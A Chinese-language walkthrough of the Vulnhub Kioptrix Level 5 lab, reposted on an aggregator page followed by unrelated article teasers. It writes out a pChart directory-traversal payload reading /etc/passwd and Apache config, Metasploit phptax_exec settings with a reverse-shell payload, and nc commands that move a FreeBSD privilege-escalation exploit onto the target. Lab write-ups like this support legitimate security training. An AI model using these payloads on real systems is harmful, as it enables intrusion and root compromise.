【Vulnhub靶场】Kioptrix Level 5

目标

本地IP:192.168.118.128

目标IP:192.168.118.0/24

信息收集

nmap探测存活主机,扫全端口,扫服务

首先探测到目标ip为:192.168.118.136

nmap -sP 192.168.118.0/24nmap -p- 192.168.118.136nmap -sV -A 192.168.118.136

web渗透

访问web服务192.168.118.136 和192.168.118.136:8080 ,发现web页面都无用

打开源代码查看,发现有一个可拼接的url

拼接url,访问 192.168.118.136/pChart2.1.3/index.php,发现页面也没有可利用的东西

查询pChart漏洞

将此文件拷贝到桌面打开查看

locate php/webapps/31173.txt/usr/share/exploitdb/exploits/php/webapps/31173.txtcp /usr/share/exploitdb/exploits/php/webapps/31173.txt /root/Desktopvim 31173.txt

 里面说明了里面有目录遍历漏洞,并给出了漏洞利用方式

构造下面的路径访问

http://192.168.118.136/pChart2.1.3/examples/index.phpAction=View&Script=%2f..%2f..%2fetc/passwd

发现没有什么用处

访问此路径查询apache配置文件

http://192.168.118.136/pChart2.1.3/examples/index.phpAction=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

 里面这个内容显示出 User-Agent

我们使用BurpSuite,修改浏览器的 User-Agent信息,再次去访问web服务:192.168.118.136:8080,看看会不会有和刚才不一样的结果

将所有的数据包全部如下修改

点击里面唯一的连接,最终得到如下页面

尝试查询 phptax 漏洞

searchsploit phptax

MSF利用漏洞

启动msf,查询漏洞,使用漏洞,设置参数,设置payload ,设置payload参数,运行

msfconsole
use exploit/multi/http/phptax_exec
show options
set rhosts 192.168.118.136
set rport 8080
show payloads
set payload cmd/unix/reverse
set lhost 192.168.118.128
set useragent Mozilla/4.0 Mozilla4_browser
run

最后利用成功,得到shell,输入whoami,为用户www 

提权

查询系统内核版本等信息

uname -a

 查询 FreeBSD 漏洞

searchsploit FreeBSD 9.0

将此漏洞利用脚本拷贝到桌面

cp /usr/share/exploitdb/exploits/freebsd/local/28718.c /root/Desktop

使用NC将此漏洞利用脚本上传到目标服务器,然后退出连接,重新run到shell上

nc -lvnp 8888 < 28718.cnc -nv 192.168.118.128 8888 > exp.c

 编译运行,提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/57268.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BurpSuite渗透工具的简单使用

BurpSuite渗透工具 用Burp Suite修改请求 step1&#xff1a; 安装Burp Suite。官网链接&#xff1a;Burp Suite官网 step2&#xff1a; 设置代理 step3&#xff1a; 如果要拦截https请求&#xff0c;还需要在客户端安装证书 step4&#xff1a; 拦截到请求可以在Proxy ->…

句柄是什么?有什么用?举例说明

在C#编程中&#xff0c;“句柄”&#xff08;Handle&#xff09;是一个与操作系统资源相关联的标识符。句柄是一个指针或者索引&#xff0c;用于在程序代码中引用系统资源&#xff0c;如窗口、文件、线程等。由于直接操作这些资源非常危险且复杂&#xff0c;操作系统提供句柄作…

虚拟机风格

虚拟机风格是一种构建系统架构的方法&#xff0c;旨在创建一个抽象的运行环境&#xff0c;以便在其上运行和解释特定的程序语言或规则集。这种架构风格增加了系统的灵活性&#xff0c;允许用户在一个统一的虚拟环境中执行不同的代码、应用程序或规则&#xff0c;避免直接依赖底…

JAVA本地编译运行出现的找不到类名问题

问题描述&#xff1a; JAVA本地编译运行&#xff1a; $ javac TestProgram.java $ java TestProgram $ 错误: 找不到或无法加载主类 TestProgram 问题排查以及解决方案&#xff1a; 命令行路径正确且当前目录下成功编译了TestProgram.class&#xff0c;java -version显示正常…

【嵌入式实时操作系统开发】智能家居入门4(FreeRTOS、MQTT服务器、MQTT协议、STM32、微信小程序)

前面已经发了智能家居入门的1、2、3了&#xff0c;在实际开发中一般都会使用到实时操作系统&#xff0c;这里就以FreeRTOS为例子&#xff0c;使用标准库。记录由裸机转到实时操作系统所遇到的问题以及总体流程。相较于裸机&#xff0c;系统实时性强了很多&#xff0c;小程序下发…

opencv环境配置-适配b站阿童木的opencv教程

首先&#xff0c;opencv作为一个库文件&#xff0c;目的是为了让更多人不需要学习底层像素操作就能上手视觉技术&#xff0c;所以他适配很多环境&#xff0c;目前电脑端我知道的就可以适配C语言 C Python MCU端就是openmv跟他最类似&#xff0c;还有个k210 canmv 阿童木教的…

Unity 山水树木

本章节内容 1. Unity对3D游戏物体的简单操作&#xff1b; 2. 构建山水树木的场景 1. Unity 简易操作 1.1 新建3D游戏场景 1. 打开Unity Hub&#xff0c;点击 New Project &#xff08;新建项目&#xff09;按键&#xff0c;选择第二项 3D(Built-In Render Pipeline)&#xf…

中介者模式 (Mediator Pattern)

好的&#xff0c;我们来深入探讨 中介者模式 (Mediator Pattern)&#xff0c;并结合 多个事件通道&#xff08;Event Channels&#xff09; 和 多个事件处理器&#xff08;Event Processors&#xff09; 的场景进行详细的讲解。 中介者模式的详细讲解&#xff1a; 在更复杂的…

Linux之实战命令41:lshw应用实例(七十五)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

虚拟滚动是怎么做性能优化的?

前言 一个简单的情景模拟&#xff08;千万别被带入&#xff09;&#xff1a; A&#xff1a; 假设现在有 10 万条数据&#xff0c;你作为前端该怎么优化这种大数据的列表&#xff1f; B&#xff1a; 针对大数据列表一般不会依次性加载&#xff0c;会采用上拉加载、分页加载等…

如何用数据字典提升数据质量和决策效率?

在前面的文章中我们谈到过数据字典的概念&#xff0c;本文将继续探讨如何用数据字典提升数据质量和决策效率。 一、数据字典 数据字典&#xff1a;一种对数据的定义和描述的集合&#xff0c;它包含了数据的名称、类型、长度、取值范围、业务含义、数据来源等详细信息。 数据字…

Java中的一些名词概念

**函数式接口:** 概念&#xff1a;一个接口中的抽象方法只有一个&#xff0c;那么这个接口就是一个函数式接口。形参: 形参变量是**功能函数里的变量**&#xff0c;只有<u>在被调用的时候才分配内存单元</u>&#xff0c;<u>调用结束后立即释放</u>。…

AUTOSAR_EXP_ARAComAPI的6章笔记(2)

☞返回总目录 相关总结&#xff1a;AutoSar AP CM实例说明符的使用方法总结 6.2 实例说明符的使用方法 一、InstanceSpecifier 的概念 InstanceSpecifier 是在 [3] 中定义的一个核心概念&#xff0c;它由符合特定模型元素绝对路径的模型元素 shortName 组成&#xff0c;表现…

【10月最新】植物大战僵尸杂交版即将新增【植物】内容介绍预告(附最新版本下载链接)

新增植物 玉米旋转机 玉米旋转机是一种支持性植物&#xff0c;每4秒可散射6颗油炸玉米或黄油&#xff08;概率20%&#xff09;&#xff0c;油炸玉米经过火炬可变为爆米花&#xff0c;造成范围爆炸伤害。其价格为325&#xff0c;并在每种植一颗后&#xff0c;价格增加50。玉米旋…

Imagic: Text-Based Real Image Editing with Diffusion Models

https://openaccess.thecvf.com/content/CVPR2023/papers/Kawar_Imagic_Text-Based_Real_Image_Editing_With_Diffusion_Models_CVPR_2023_paper.pdfhttps://imagic-editing.github.io/ 问题引入 针对的是text based image editing问题&#xff0c;可以解决non rigid edit&am…

AcWing 11 背包问题求方案数

代码写的字数比较多, 但是感觉还挺好理解的 #include <bits/stdc.h> #define int long long#define F(i, a, b) for (int i (a); i < (b); i) #define dF(i, a, b) for (int i (a); i > (b); i--)using namespace std;typedef long long ll; typedef pair<in…

进程的了解

目录 一、进程控制块抽象&#xff08;PCB Process Control Block&#xff09; 1.pid&#xff1a;进程的身份标识 2.内存指针&#xff1a; 3.文件描述符表 进程的调度&#xff08;额外知识&#xff0c;不是进程属性&#xff09;&#xff1a; 4.进程的状态&#xff1a; 5.…

学习threejs,通过THREE.Raycaster给模型绑定点击事件

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.Raycaster光线投射概…

Go语言基础学习(Go安装配置、基础语法)

一、简介及安装教程 1、为什么学习Go&#xff1f; 简单好记的关键词和语法&#xff1b;更高的效率&#xff1b;生态强大&#xff1b;语法检查严格&#xff0c;安全性高&#xff1b;严格的依赖管理&#xff0c; go mod 命令&#xff1b;强大的编译检查、严格的编码规范和完整的…

图神经网络

定义&#xff1a; 对图上所有的属性&#xff0c;包括顶点、边、全局、上下文进行的一个可以优化的变换&#xff0c;该变换可以保存住图的对称信息&#xff08;将顶点进行另外一个顺序的排序后&#xff0c;结果不变&#xff09; Message passing neural network&#xff1a;使…